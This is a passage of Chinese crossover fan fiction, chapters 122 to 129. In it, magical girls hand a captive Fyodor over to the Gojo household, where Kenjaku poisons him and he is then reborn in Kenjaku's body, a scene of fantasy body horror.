开门的不出意料是津岛，对方一见到她，就摆出了一个静音的手势，压低声音道：“你是看了网上的消息来的吧。” 禅院穗不解地点了点头。 津岛快速解释道：“那个人还在念稿子呢，视频正在录着。你如果不想被录下来的话，用我现在这个声音大小说话就行了。” 禅院穗迟疑地小声说：“呃……谢谢。” 仔细去听，她确实听见屋子最里面的房间里，隐约传来一个青年格外沙哑的声音。 ……不是，怎么还在读？ 那家伙的嗓子真的没问题吗？！ 禅院穗难得对一个不知道实力的人升起了敬佩之情。 进到屋内之后，禅院穗又看到了朔夜和松代，她们也是声音比较低地在聊天，内容差不多就是关于费奥多尔的事情。 听起来，松代应该也跟她一样是刚从网上得知消息，然后特地过来询问情况的。 可是，朔夜一向话很少，这次看着也并不想跟她们解释具体情况。 所以松代一连问了几个问题，都没有得到想要的回答，显得有些挫败。 “禅院。” 朔夜忽然侧头喊她。 禅院穗有点惊讶：“怎么了？” 朔夜平铺直叙地道：“费奥多尔君刚才帮助了我们。” 禅院穗不太明白她的意思。 但这确实说的也是实话……不只是刚才，现在那个好心的俄罗斯人还在里面房间里勤勤恳恳地给她们帮忙呢。 那沙哑的声音，让禅院穗听着都觉得有些不好意思。 于是，她点了下头。 朔夜继续道：“为了给我们帮忙，现在网上很多人都知道了他的长相，这会给他生活带来很大的不便……” 禅院穗听着有点别扭，但又说不清楚。 不过这应该不是自己的错觉，因为旁边默默听着的津岛，此刻脸上的表情也是说不出的复杂。 朔夜说出了目的：“所以，你能让五条家暂时收留他吗？” 禅院穗错愕道：“啊？” 朔夜平静地说：“是你促进了魔法少女与五条家的合作，你和五条家更熟悉，更方便直接跟他们提起这种事情。” 没想到朔夜忽然会提起这个，禅院穗一时没想好说什么。 朔夜：“把他当成一个普通客人招待就行，应该也不是多难的事情。” 禅院穗终于说道：“这个……我要先问问五条家的意见。” 朔夜表情依旧没什么变化，淡定地点头应下，像是已经确定了五条家会答应这个并不困难的请求。 “请问……” “不需要问问我的意见吗？” 听见这仿佛被砂纸打磨过般的沙哑嗓音，房间里的其他魔法少女纷纷侧头看去。 那个本就肤色较苍白的青年不知何时已经停下录制视频，离开原本的房间，来到了她们所在的客厅。 对方此刻显得十分疲惫，背靠在一旁的墙壁上，正看着她们，露出了皮笑肉不笑的笑容。 第123章 看到费奥多尔这种皮笑肉不笑的神情，松代和禅院穗都愈发察觉到了不对劲。 ……这个俄罗斯人是真心好意帮忙的吗？ 看起来……怎么似乎不太像啊？ 但是，朔夜完全不心虚地对上那人的视线，也没回应对方的话，而是先问道：“你把稿子读完了吗？” 费奥多尔卡了下壳。 要不是被困在这里、完全受到这个魔法少女的管控和摆布，他怎么会这么读那么久夸赞敌人的稿子？ 想想就令人生气…… 对方居然还这样理所当然地问他读完没有？ 这就是魔法少女的真实形象吗？完全不符合稿子里的内容，反而更像是他之前散布出去的谣言里的形象吧。 费奥多尔脸上的表情有点僵，语气稍冷道：“……没有。” 朔夜平静地督促道：“早点读完，等会儿去五条家就可以好好放松了。” 伊江朔久知道对方不想读，但那又怎么样呢……这些稿子都是在电视台兼职的基尔准备了很久的。 言辞恳切、很能打动人心。 如果派不上用场的话，未免也太可惜了。 费奥多尔：“……” 这是什么老师教训学生的语气？！ 还有……这是真的一点也不在意他的任何意见吗？ “噗……” 旁边似乎是有人终于忍不住笑了。 费奥多尔冷着脸看过去，见到了捂着嘴掩盖笑容的津岛，对方眨了眨眼睛道：“不好意思，你们继续。” 要不是担心自己掉马，太宰治早就忍不住大笑出声了。 真是太有意思了，居然有一天也能看到魔人这么吃瘪，这才是价值百亿的名画嘛哈哈哈哈哈…… 费奥多尔无话可说。 这个叫津岛的魔法少女看起来也怪怪的，不过他暂时没空管她，只能先把她的异常记在心底。 目前还是朔夜要更加吸引仇恨值。 费奥多尔尝试为自己争取一下：“我的嗓子暂时读不了了……下次再说吧。” 而朔夜却非常直白地说道：“你总得是要读完的。按我说的好好做，才可以早点让你离开。” 松代、禅院穗：“？？！” 什么，这个叫费奥多尔的原来是被绑架过来的吗？！ 怪不得…… 怪不得会有这样的‘好心’人突然愿意帮助她们，怪不得嗓子快废了都还在艰难地读着稿子…… 她们忽然觉得这家伙貌似不是一点的惨。 身为警察的松田阵平先忍不住问朔夜：“他到底是谁？你说的……让他离开是什么意思？” 朔夜随便糊弄道：“一个帮助我们的人。后面我也会帮忙送他离开，互相帮助，对吧？” 费奥多尔不情不愿地说：“……没错。” 禅院穗觉得他肯定是被威胁了，此刻当然不会相信这种话。 松代也欲言又止，在想自己是不是该阻止眼前这明目张胆的违法行为。 不过，津岛先开口道：“到时候我也可以帮忙，在费奥多尔君去监狱之前，帮忙给送个行呢。” 费奥多尔深深地看了津岛一眼：“没想到，津岛小姐还挺了解我的。” 津岛不露破绽地笑着说：“算不上，只是我情报掌握得还不错罢了。费奥多尔君作为地下组织死屋之鼠的头目，消息应该也挺灵活的吧。” 死屋之鼠这个组织，松代和禅院穗倒是都没有听过。 但是这些话里的意思还算明显。 ——费奥多尔并不简单，很可能本身就是什么犯罪分子。 这来来回回转折得有点太快了，她们表情都有些复杂。 朔夜又把话题重新拉回来：“费奥多尔去继续录制视频。禅院你现在跟五条家沟通，早点把他接走吧。” 费奥多尔：“……” 朔夜淡淡地对他道：“或者你想多待在这里一段时间？” 费奥多尔不再说话，默默地转身离开，回到了他原先读稿子的房间里。 如果可能的话，此刻他都想直接被朔夜杀死了。 然而朔夜看起来始终没这个打算，他便也不好主动找死找得太明显。 可惜了。 就算复活成为魔法少女后，身体什么方面多少会有所变化，却也至少能够拥有对方强大的实力，不至于被困在这里任人摆布…… 他还有很重要的计划要去完成，没时间被别的无关紧要的事情拖住。 但事到如今，只能够走一步看一步。 只希望到五条家之后，就有很大概率可以找到机会离开了。 就算逃不出去，也比待在朔夜这里好。 况且他还可以想办法让五条家的人杀掉自己，以另一个人的身份逃出去。 费奥多尔这么盘算着。 他深呼吸了两下，重新打开录制，拿起桌子上的纸张，继续面无表情、声音嘶哑地读上面的内容…… 如朔夜所预料的一样，五条悟一听说就答应了下来。 虽然咒术界的最强是一个大忙人。 但是面对魔法少女的请求，他还是很感兴趣地从百忙之中抽出了时间，亲自过来接人。 朔夜提醒他道：“费奥多尔现在的处境不太好，请你们一定看好他，不要让他离开安全的地方，以免遭遇危险。” 五条悟在来之前，禅院穗也是较隐晦地给他发了大概的情况。 差不多就是说，希望他能帮忙让死屋之鼠的头目在五条家待一段时间。 虽然禅院穗不清楚死屋之鼠这个组织，但她觉得五条家有办法获得情报，能够知道费奥多尔的危险性。 所以，五条悟一下子就听懂了朔夜的提醒，了然地笑着回应道： “没问题，我会好好招待他的。绝对让他来过之后，就不会再想着走了~” 第124章 不过，就算费奥多尔知道自己只是换了个地方被囚禁而已，但当他跟着五条悟离开的时候，神情看上去还是轻松了不少。 终于可以让嗓子休息一会儿了。 但是，当朔夜把剩下还没读完的那些稿子交到他手上，让他记得过去后要早点读完时…… 费奥多尔又露出了看起来很想刀人的微笑。 他一字一句地道：“我记住了，朔夜小姐，下次再见。” 语气很像是威胁的感觉。 朔夜却平静自然地说：“再见。” 伊江朔久当然清楚，费奥多尔的能力和计谋确实是出类拔萃的。 但是很可惜，费奥多尔一直隐瞒着自己的异能作为最后的杀手锏，却不知道突然冒出来的魔法少女竟然能够掌握这种情报。 这也没办法，毕竟对方再怎么也不可能算到别人会开挂的。 …… 就这样，费奥多尔在五条家先待了两三天。 他暂且适应了下新环境，因为远离了朔夜，还想办法勉强挽救回了自己快废掉的嗓子。 不过五条悟看管得比较严，平常费奥多尔都被拘束在一个特定的屋子里，屋子外有许多实力不俗的咒术师看守， 除了送每日的饭菜之外，没什么人和他有过多接触。 费奥多尔暂时找不到逃出去的机会。 他实在难以安心，感觉事情发展已经脱离了自己的计划。 为什么朔夜会让他待在这里呢？ 对方的目的到底是什么？ 费奥多尔思索了许久，始终无法找到一个确定的答案。 这更让他难以忍受继续待在五条家浪费时间，担心在联系不上外界的这段时间里，会出现一些难以挽回的变故。 谁让他的那些下属和合作伙伴都多少缺了点脑子，而作为敌人的太宰君和朔夜小姐却又格外麻烦难缠呢。 费奥多尔叹了口气。 得赶紧出去才行。 不管怎样，只有先恢复自由行动的能力、不再处于被动状态，才能够让他有机会重新将局面掌握回手里。 “咚咚。” 外面传来敲门声。 费奥多尔说道：“请进。” 有人打开门走进来，端着托盘将饭菜放到了桌子上，然后便默默转身准备离开。 “等等，”费奥多尔叫住他，似是随意地问道：“今天的饭菜送来得是不是有些晚了？” “厨房今天突然出了点小问题，下次不会了。” 那个咒术师显然牢记着上面给的指示，言简意赅地回答完，便快速离开了，尽量不和费奥多尔相处更长的时间。 不过，只是这样简短的回答，也令费奥多尔察觉到了不对劲。 厨房突然出了小问题，导致饭菜送来得比平常晚了那么十几分钟…… 这听起来貌似很寻常。 但是，费奥多尔不是会轻易相信这种意外的性格。 况且他本身就非常擅于将自己的谋划掩盖成一场小小的意外，让那些不懂得谨慎的人主动走进为他们准备的陷阱里。 费奥多尔看向桌上的饭菜。 最安全的当然是，让人重新换一份饭菜，并检测一下这里面有没有毒。 毕竟，如果五条家要杀他的话，大可以不必用下毒这么麻烦的方式。 所以如果这饭菜里真的有毒，下毒的只可能是有内应隐藏在五条家、与五条家为敌的存在。 沉思了片刻，费奥多尔拿起了放在一旁的筷子…… …… “真没想到，时隔这么久，你又一次来我家居然是为了另一个人！” 五条悟不满地抱怨道。 全副武装、把面部遮盖得十分严实的夏油杰连忙提醒：“小声点，悟。” 他边出声还边注意着左右看看，非常谨慎小心，生怕自己被五条家的其他人看见。 毕竟他可是被通缉的极恶诅咒师，来咒术界御三家之一显然是件很危险的事情，自然绝对不能被人发现。 “放心啦，你都伪装得这么严实了，谁能认得出你。”五条悟不在意地说着。 夏油杰根本放心不下：“万一呢，万一被哪个眼神好的人认出来，我们两个就都要糟糕了。” 五条悟不理解地问：“既然这么担心，为什么还非要来这么一趟啊？” 确实，来这么一趟是很危险的。 冒着这样的危险，还一定想要过来……夏油杰自然有着自己非常重要的原因。 他攥紧了拳头，恶狠狠地道：“当然得过来啊，我一定要亲自狠狠打死那家伙才行。” 提到那家伙，夏油杰就来气。 自从当时在网上和叫Mouse的那个人聊过之后，他就一直专心致志地探寻Mouse背后的势力。 终于！他查到Mouse可能跟死屋之鼠那个组织有关！ 果然都是一群肮脏的老鼠。 而且很幸运的是，夏油杰刚查到这些不久，就在和五条悟瞎聊的时候，从他那里听说五条家近来新来了个客人。 那是死屋之鼠的头目。 夏油杰立刻从五条悟口中打听了关于费奥多尔的事情，还特地在网上看了对方念稿子的视频。 他有预感，费奥多尔一定就是那个讨厌的Mouse。 “肮脏讨厌卑鄙无耻的老鼠，居然想要创造一个只有普通人存在的世界。还觉得我们这些咒术师完全不应该存在！” 夏油杰冷笑道。 五条悟扶额：“这话你最近已经跟我说过无数遍了。” “都是那只老鼠的错，真是太可笑了！他的理想真是太异想天开了！我和他绝对势不两立，我必须得消灭掉那只老鼠……” 夏油杰一说起来就停不下来了，脸上的表情越来越愤怒，连声音也控制不住地加大了。 五条悟无奈提醒道：“喂，杰，还说我呢，你自己也要记得小点声啊。” 第125章 这时候，有人匆匆忙忙地经过这里，看见五条悟便立刻迎过来，慌忙喊道： “家主！” 夏油杰吓了一跳，还以为自己刚才不小心声音太大，把人给吸引过来了。 他连忙再快速地调整了下自己的帽子、墨镜和口罩，几乎不露出任何面部皮肤，然后尽量躲在五条悟身后。 五条悟再一次无奈扶额，先问那个神情慌张的人道：“发生什么事了？” 这个五条家族的成员没见过夏油杰，自然也不可能轻易透过这样严实的伪装、就把人给认出来。 顶多只是有点好奇，家主身边怎么会跟着一个打扮奇怪、行为可疑的人。 但是，现如今他也没时间去想这个了，有一件更重要的事情已经占据了他的整个心神。 “家主，你前两天带回来的那个客人……他、他死了！” “死了？！！” 先不可置信地发出声音的是夏油杰。 那个人下意识不解地看了眼反应很大的夏油杰，然后回应道： “……是的。有人刚给那客人送完午餐出去后，没多久房间里就传出了一些异常声音，我们匆匆进去查看……” “结果发现客人像是中毒倒地了，毒性太强，还没来得及抢救他就已经死了……” 他说得很紧张，显然在担心五条悟问责，不过倒也说清了事情原委。 ……送给客人的饭菜里被下了毒。 五条悟和夏油杰彼此对视了一眼，皆意识到了问题的严重性。 ——五条家里有内鬼。 但是，在五条家躲了那么久、一直掩藏得很好的内鬼，为什么会在这种时刻跳出来，就为了杀死一个费奥多尔？ 情况很不对劲。 于是，五条悟和夏油杰立刻来到了费奥多尔死亡的房间，并让其他人都先离开，只留他们两个在这里。 夏油杰检查了一下尸体，症状确实符合中毒，而且看上去才刚死没多久。 他皱眉道：“居然还真的这么轻松就死掉了。要是我们来早点，说不定还有机会阻止……” “啧，起码也要在这只老鼠死掉之前，好好地教训他一顿啊。” 五条悟也苦恼地说：“这下子真是麻烦了。答应穗酱她们的事情却没能做到，我该怎么跟她们解释呢？” 两人都各自头疼了好一番，才开始分析正事。 五条悟：“能在五条家神不知鬼不觉安插内线的家伙，一定在咒术界掌握着不容小觑的人脉和势力。” 夏油杰点点头：“你有怀疑的对象吗？” 五条悟叹气：“敌人太多了，怎么可能一个个数得过来？” 作为最强咒术师，与他为敌的人确实太多了。 咒灵、诅咒师、咒术师……都可能会想要他的命。 夏油杰突然想到：“对了，除了你和魔法少女们之外，外界对费奥多尔这个人的看法如何？” 五条悟迟疑道：“外界……应该还觉得他与魔法少女的关系非常密切吧。” “是啊，毕竟费奥多尔能为了帮她们，主动站在公众视野内读那些给她们洗白的稿子。” 夏油杰顿了顿，又道：“她们还会担心费奥多尔的安全，把他放到你这里来，拜托你来保护他。” 在不知道真相的其他人眼里看来，费奥多尔和魔法少女之间的关系显然相当要好。 五条悟顿时明白了。 “那个幕后黑手要杀死费奥多尔，是为了离间我和她们的关系？” 夏油杰边思索边说：“如果她们真的与费奥多尔关系那么好，他在你这里死掉的话，你们的合作确实很难再顺利进行下去。” 五条悟：“真不知道，对方到底是和我有仇，还是跟魔法少女有仇。” 夏油杰直接道：“可能和你们都有仇吧？” “……也是。” 五条悟说道：“幸好，情况和对方想象的根本不一样……或者不如说，感觉朔夜应该是故意把费奥多尔送给对方杀的。” “朔夜……” 夏油杰念了一遍这个名字，语气不明。 上次和朔夜见面时的场景，他还记忆犹新。 那个魔法少女很奇怪。 不知道为什么好像能掌握许多特殊情报，一副神神秘秘的样子，还会做出一些常人难以理解的事。 “把费奥多尔送给别人杀？” 夏油杰思考了一会儿，还是难以理解：“这对她有什么好处吗？” 五条悟猜测道：“引蛇出洞？” “值得吗？”夏油杰理智判断道：“幕后黑手就算是亲自想办法来下了毒，也一定提前想好了让自己安全逃脱的办法，我们大概率是抓不到对方的。” 五条悟迟疑地说：“……或许朔夜有自己的想法吧。” …… 而另一边。 此刻，同样觉得这次行动应该万无一失的羂索，却不知道为什么忽然感觉心底莫名有点不安。 第126章 一家普通的甜品店里，一位头上有缝合线的短发女子坐在靠窗边的座位，面前摆放着精致的甜点和奶茶。 而她却没怎么动，一副很有心事的样子，单手托着下巴，不放心地低声喃喃着： “应该不会有什么问题吧。” 她是羂索，活了上千年的诅咒师。 从数百年前，她就为了享受乐趣、开始谋划着让全人类与天元同化，为此提前做了无数准备…… 甚至还在十五年前，附身于死去的虎杖香织，与虎杖仁生下了虎杖悠仁，将其当作未来复活两面宿傩的容器。 可是，在计划即将到最终的几个阶段时，魔法少女们却突然出现在大众视野下。 活了这么久的羂索比旁人更清楚魔法少女的特殊性，先前从来没有她们的任何信息和踪迹，这个时候居然不知道从哪里就冒出来了…… 这可真是……够有意思的。 羂索对她们很感兴趣。 但是，她们却给计划带来了很严重的阻碍。 ——和伏黑惠、虎杖悠仁那些计划里的重要人物纠缠不清，掺和进咒术界的事情，听说朔夜上次还和寄宿在虎杖体内的宿傩交过手…… 这一桩桩一件件，完全都越过了羂索的底线。 更何况，谁也不知道后续她们还能够弄出多少麻烦事来。 再这么下去，羂索就无法确保能够顺利做到封印五条悟、并开展死灭回游等事情了。 羂索谋划了这么久的计划，当然不会允许随随便便就让它付诸东流。 她想要除去所有不稳定的因素。 可是，魔法少女的行踪不定、难以找到，且实力似乎不容小觑。想要消灭她们，无疑是一件非常困难的事情。 羂索只能退而求其次，选择尝试让魔法少女与咒术界划分界限。 所以，她在网上尽可能地散播谣言……抹黑她们的形象，让她们处于四面楚歌的境地，让咒术界高层排斥她们。 结果她们却和五条悟达成了合作关系。 羂索头疼不已时，听说了网上四处流传的视频，有个俄罗斯人站出来替魔法少女们公开发言。 魔法少女的真实身份很难挖掘出来，但这个公开露面的俄罗斯人就不是那么难找了。 再加上，羂索在咒术界蛰伏上千年，埋下了不少钉子，暗地里掌握了许多势力，很快就查到了那个叫费奥多尔的人此时正被保护在五条家中。 她顿时有了个主意。 如果让费奥多尔死在五条家，她再散布一些谣言，让魔法少女们与五条悟产生嫌隙…… 那么她后续的计划就会顺利很多了。 而且，这不是一件很困难的事情。就算失败了也不会对自己有多少影响，成功带来的好处却是难以估量的。 羂索垂眸思考，费奥多尔现在大概快要中毒死掉了吧。 为什么自己现在心里却始终无法安定下来呢？ 难道是计划有什么纰漏吗？ 她每次行动之前都会谨慎地思索许久，确定没什么问题才会开始动手，所以几乎不可能因为大意而出事。 不过……倒也有可能是意料之外的变数。 说到变数，羂索就总会第一时间想起那些神秘的魔法少女来，她们的存在很有可能成为她计划中最大的变数。 那个新诞生的、飞速进步成长着的特级咒灵真人也对她们很感兴趣。 明明只是个咒灵，真人却学着人类一样上网搜集魔法少女的所有信息，还频繁地偷偷追寻她们的踪迹，就算只是远远看她们一眼也会很高兴。 那种高兴当然和普通人不一样。 是仿佛看到奇迹的激动、孩子气的好奇心和占有欲、还有浓郁粘稠的恶意。 要不是真人没有把握能够打败她们，估计早就想把她们抓回来关着，当成珍贵的实验品般日夜研究了。 羂索曾试着询问真人，看对方那里有没有掌握一些魔法少女们的特殊情报。 结果还真的有。 就是羂索有些难以理解这种奇怪的情报，不知道能拿它派上什么用场。 羂索还记得，真人当时的原话是—— “她们都特别有意思呢，灵魂不在自己的身体里，而是在随身携带的奇异瑰丽的宝石之中。” “尤其是朔夜最为特别，她宝石里的灵魂我始终看不清楚，就像是虚无缥缈的雾一般，淡得仿佛触之即散。” “很有趣对吧？我很好奇，她们真的能够算是人类吗？连咒灵都拥有着灵魂、远没有她们那样奇怪。” “她们的存在，简直就是不可思议的奇迹啊。” ……这些话到底意味着什么呢？ 直到如今，羂索还在苦苦思索着问题的答案。 但是这个时候，坐在靠窗边的羂索还是敏锐地注意到了不远处的动静，立即侧头望去。 ——两个熟悉的少年出现在街边，正朝着这个甜品店所在的方向而来。 是伏黑惠和虎杖悠仁。 羂索很快反应过来，在这两个少年进店之前，就从随身的包里拿出了口罩和帽子给自己戴上。 她不着痕迹地观察他们的举动。 看到他们去柜台买了甜品，然后便在一边闲谈一边等候中，没有注意到羂索这边的情况。 这样就好。 现在她还不能暴露在这些咒术师面前。 虽然悠仁理应早就不记得母亲的样貌了，但是虎杖香织的照片是有保存下来的，不能去赌他还有没有印象。 羂索这样想着，然后下一秒却突然察觉到自己的身体出现了异常。 一股剧烈的疼痛骤然袭来，如同汹涌的潮水，迅速蔓延至她的四肢百骸。 眼前的世界也随之变得模糊起来…… 第127章 自己这是怎么了？ 羂索不知道原因，也无法保持理智继续思考下去。 短发女子的额头迅速布满了细密的汗珠，脸色苍白如纸。 在剧烈的疼痛下，她甚至都无法保持坐姿，身体不由自主地往侧边倒下去，瘫在了地上。 这样的动静自然吸引了店内所有人的目光。 离得近的几个客人纷纷先凑过来，七嘴八舌、关切地询问：“这位女士，你没事吧？” “是什么急性病发作了吗？” “现在应该赶紧打救护车电话吧……” 站得稍远一点的伏黑惠和虎杖悠仁也将注意力集中在了这边，甚至还往这里走了几步，似乎是打算看看需不需要他们帮忙。 要是被这两个少年注意到她的问题就糟糕了。 可是，羂索根本难以去关注这些事情。 她的世界仿佛凝固了下来，周遭的光影和声音都慢慢变得模糊，只剩下剧烈的痛感逐渐占据了大部分意识。 然后，羂索隐约感觉到体内有另一个意识莫名出现，似乎要吞灭掉自己的意识，掌控这具身体…… 她活了上千年，这是第一次感觉自己离死亡如此之近。 不行！ 怎么能够轻易地死在这里？！！ 羂索在意识迷离之际，本能地想要动用自己拥有的一切能力来活下去。 布置了很久的计划、今后本来准备好的行动……统统都顾不上了，此时此刻唯有活着是最重要的。 但可悲的是，羂索根本不清楚如今自己究竟是怎么一回事，也便无法找到应对的方法。 她只是尽可能地用尽最后的力气努力着而已…… 于是，伏黑惠敏锐地察觉到了前方强大的咒力波动。 这种程度的咒力波动……怕是只有特级才能够做到吧？ 奇怪，这是从哪突然冒出来的特级？ 他和虎杖悠仁对视了一眼，随后一同警惕地顺着咒力波动的方向往前，靠近了那边倒地的短发女子和围在旁边的几个客人。 短发女子周身所接触的地板开始生出裂痕，并如蛛网般迅速蔓延开来，好似受到了难以承受的强大重力碾压。 而离她比较近的人也忽然觉得身体沉重无比，措不及防地痛呼着倒地，血肉和骨骼都仿佛被重力挤压着…… 其他站得稍远的人吓得连连后退。 伏黑惠却主动上前，忍受着那种可怕的重力，尽可能地接近那个女子周围，将那附近哀嚎着倒在地上的人拖出了受重力影响的范围。 但是，他也只做到了这点而已。 他无法在那个重力范围内待上更长的时间，更别提去到那个女子身边。 “这是……特级咒术师的能力失控了吗？” 伏黑惠不解地喃喃道：“可是目前的特级术师不就那么几个，其中并没有这位女性，而且我之前也从来没听说过这个人的存在啊……” 真是令人想不通。 没有等到身旁人的回应，伏黑惠忽然想起从刚才靠近这个短发女性开始，虎杖悠仁就一直没什么动作，非常沉默。 他立刻侧头望去。 果然看见虎杖悠仁怔怔地盯着那个短发女性，神情是他看不懂的复杂。 伏黑惠还是第一次见到虎杖会表现出这么复杂的情绪，就像是看到了一个绝对不可能存在的人突然出现在这里般。 他疑惑地问道：“虎杖，怎么了？” 虎杖悠仁愣愣地说：“这个人、她是我的母亲虎杖香织？” 他这话说得很犹豫，似乎自己都不能确定是对是错。 伏黑惠也吃了一惊。 “……你的母亲？” 他记得虎杖悠仁不是已经没有任何亲人了吗？就算对方的母亲还活着，但又怎么可能会是特级术师？ 只是随便想想，就感觉背后一定隐藏着什么重要的秘密。 或许还可能是一场巨大的阴谋。 虎杖悠仁边回忆边慌乱地说：“我记得她的照片，她就是长这个样子的，应该没错……但、但是她应该早就死了才对，怎么会？” 显然虎杖悠仁一副怀疑人生的样子。 可是，伏黑惠此刻也不知道该如何安慰他。 这种事情听上去也太离谱了…… 然而就在这时，更离谱的事情发生了—— 倒在地上的虎杖香织浑身颤抖着。其中很明显的是，她头部动作的幅度格外大。 她的头盖骨……似乎顺着额头的那条缝合线一开一合的，隐约能看到里面疯狂蠕动着的脑花，看上去恶心极了。 等等…… 这是错觉吗？ 绝对只是错觉而已吧？！！ 眼前的这个还能够算得上是人类吗？！！！！ 第128章 稍远处还没有离开的某些旁人，也为自己过重的好奇心付出了代价，头一次看到了现实中正在发生的恐怖片现场。 “啊啊啊啊啊啊！怪物！！！！” “救命啊啊啊——” 尖叫声顿时接连响起。 还没离开的人们立刻作鸟兽散，很多人几乎是连滚带爬地逃离了这里。远处其他不明所以的人也因为羊群效应，下意识地跟着逃走。 没过多久，本来还算热闹的附近一下子就没什么人了。 只剩伏黑惠和虎杖悠仁还留在这里。 他们比普通人的心理承受能力要好上许多，但这也能算是他们人生中难得一见的地狱绘卷了。 所以，两个少年的脸色都不怎么样。 空气里弥漫着诡异的沉默。 只有地上躺着的短发女子还在不断颤抖着，肢体动作带动衣物摩擦，发出轻微细碎的声音…… 慢慢的，她颤抖的频率越来越大，仿佛是在和什么看不见的存在做着垂死挣扎。 太诡异了。 这到底是怎么一回事？ 虎杖悠仁完全不知道该怎么办，他现在究竟该怎么面对这个好像是死而复生了的母亲？ 呃……能算得上是复生吗？ 对方怎么看都不像个活人，更像是一具能动的尸体。 他思绪一片混乱，但目光紧紧放在虎杖香织身上，不知所措地张了张口，却发不出什么声音。 就在这时，那位女性艰难挣扎着用手撑地坐了起来。 “扑通——” 而她的头盖骨却在这一过程中不小心掉落了下来，直接明显露出了灰白色的脑花，那脑花上甚至还长了奇怪的嘴巴。 女子却第一时间没怎么在意，而是用手捂住脸，发出了痛苦的低声嘶吼。 尽管这一场景过于惊悚，可是刚才一直回忆着自己记忆里母亲照片的虎杖悠仁见此，还是下意识地出声问道： “你、你怎么了？” 听到这一声音，那个女子猛然抬起头来，回望向虎杖悠仁。 她艰难地挤出这句：“悠……仁。” 而这时，虎杖悠仁反而本能地偏开了头。 他还没能够适应这个“母亲”可怖的形象。乍一眼和对方对视上，自然难以面对。 不过……好像有哪里不对？ 虽然刚才只对视了一眼，但虎杖悠仁好像记得，看到了对方的面容在不断变化。 一会儿是虎杖香织的脸，一会儿却又像是一张青年的面孔…… 这怎么可能？！ 可是，对方身上都已经发生了头盖骨掉落在地的事，别的什么离谱的事应该也不是不可能发生吧？ 虎杖悠仁迟疑地将目光挪回去…… 这一思考的过程就只是短短两三秒，但他再看到那个女子时，对方就已经真的变成了男性的面容。 甚至感觉身材也变得像男性了许多。 这张男性的脸……他是不是在哪里见过？？ “费奥多尔……” 旁边传来低声的喃喃。 虎杖悠仁侧头看去，发现是伏黑惠发出的声音。 伏黑看起来有些恍惚，他似乎是认出了那张脸吗？ 虎杖悠仁猛然想起来之前看过的那次视频。 ——这不就是那时在网上为魔法少女们发声的那个俄罗斯人吗？！！！ 如今这个人的形象改变了之后，神情和态度也有所变化，看向他的眼神非常陌生。 虎杖悠仁愣愣地看着对方。 对方先是左右环顾了一圈，目光锁定在地上的那个头盖骨上。 “……” 那人沉默了几秒，抬手摸了摸自己的头。在察觉到自己的脑花裸露在外后，又无言了半晌。 随后，对方伸出一只手想去捡回那个头盖骨…… 但在即将触碰到的时候，对方的另一只手却仿佛不受控制了，拍掉了想去捡头盖骨的那只手。 接着，那人头上的脑花又一次疯狂蠕动起来，似乎想从头部挣脱出来。 那个人皱了皱眉，直接抬手按住了脑花、阻止它脱离身体，并说道： “别动。” 顿了顿，对方又从口中挤出几个字。不过语气感觉比说上一句话时虚弱太多了，声音都断断续续的： “……你是谁？” “你杀掉的人。” “……我、你，费奥多尔？” 那人自言自语着。 明明只是一个人，但看上去像是有两个不同的意识正在交谈。 “没错，是我。我可以在杀了我的人的体内复生，所以这是你自作自受。” “不，明明、我没有亲自动手……” “下毒的人只是你的傀儡而已，真正带着杀意想要毒死我的人——是你。” “哈，居然可以这样？真是……令人羡慕的能力……” 这句话里充斥了非常丰富的情绪，能明显听出说话者的不甘与嫉妒。 “行了，我都回答你这么多问题了，该你告诉我了吧。” 费奥多尔不耐烦了，心情非常差劲地问：“你这身体究竟是怎么回事？” “……” 然而，羂索却没有再出声。 费奥多尔只能感知到脑袋里的脑花挣扎的动静越来越小，直至仿佛变成了普通大脑平常活动的动静。 真是的…… 不是说人之将死、其言也善吗？这个人死之前却也不愿意好心帮个忙。 亏他还让对方死了个明白。 不过，就算对方不告诉他，费奥多尔也只是麻烦了一些，要花时间好好熟悉自己新身体和新获得的能力。 但既然他已经拥有了这个能力，终归还是能够彻底弄清楚的。 其实，现在费奥多尔便已经隐约有所猜测了。 他感知到自己如今的大脑和身体似乎并不匹配，这个大脑好像才是本体，还可以被他操控着脱离身体行动…… 而且他之前换身体的时候，从来没出现过刚才的那般场景。 向来都是被人杀死后，干脆利落地在那个人体内复活，并获得那个身体拥有的能力。 从来没有转化得如此之慢的。 就只有这次的人这么特殊，意识坚持了这么久才慢慢被吞噬，精神力似乎远超常人。 这么说来……对方不会也可以占据他人的身体、然后因此活了很久很久吧？ 对方还真是不简单啊。 不过，费奥多尔依旧高兴不起来。 原因无他——这具身体虽然逐渐变回了自己原先的样子，可是体内之前的束缚仍然有效。 所以，他目前还处于一个缺失了头盖骨、露出脑花的可怖模样。 就算重新盖上了头盖骨，但无论如何，也做不到修复或遮掩额头的那条缝合线。 费奥多尔难以接受这一点。 当然，换作是其他任何人来，也会像他一样接受不了的。 毕竟世界上像羂索那样的人很少——很难有人能够忍受把自己活成一个恶心的怪物脑花，用不断附身他人的方法存活千年。 甚至，对方附身的对象还有男有女，为完成计划都可以亲自生下孩子。 费奥多尔看向掉在地上的那个头盖骨，上面已经沾染上了许多地面的灰尘，看上去更恶心了…… 费奥多尔面无表情，心底满是嫌弃。 ……要不还是再死一次吧。 他想赶紧换个身体生活了。 第129章 从头到尾见证了这一切的虎杖悠仁和伏黑惠都懵了。 他们默默看着……那人瞥了眼地上的头盖骨，将其捡了起来。 对方一副很嫌弃上面沾染的那些灰尘的样子，用力地拍了好几下，随后才慢吞吞地戴回了自己头上。 这画面看起来真是诡异又滑稽…… 事情和变化来得太过突然，两个少年不清楚前因后果就莫名其妙看了这么一出，完全不明白到底发生了什么。 所以说，眼前这个人到底是不是虎杖的母亲？ ……他们甚至连对方是男是女都分不清。 不过，先前刚察觉到不对劲后，这两人就很快悄悄通知了五条悟。 现在他们只需要静静等在这里，尽可能记住一些关键信息。如果需要的话，再帮忙拖一些时间就行。 可事情却没有这么顺利。 那个人戴上自己的头盖骨，并仔细调整好了之后，他便站起身来，将目光投向虎杖悠仁和伏黑惠。 “你们好。” 虽然这个打招呼的声音听起来挺温和有礼的，但是两个少年见识过了刚才那样可怖的对方。 现在他们反而更不习惯地后退了一点。 费奥多尔有点无奈。 他不可能放知道了这么多事情的这两人离开。 如果这两人能够好骗一点，他杀起来会更容易些。 不过想来也是……任谁遇到了刚才那种场景，还能坚持留下来看完，估计都不会轻易放松警惕吧。 费奥多尔便直接说道：“不好意思，你们看到了不该看的事情呢，我只能请你们帮忙保守秘密了。” 死亡是最好的保密方式。 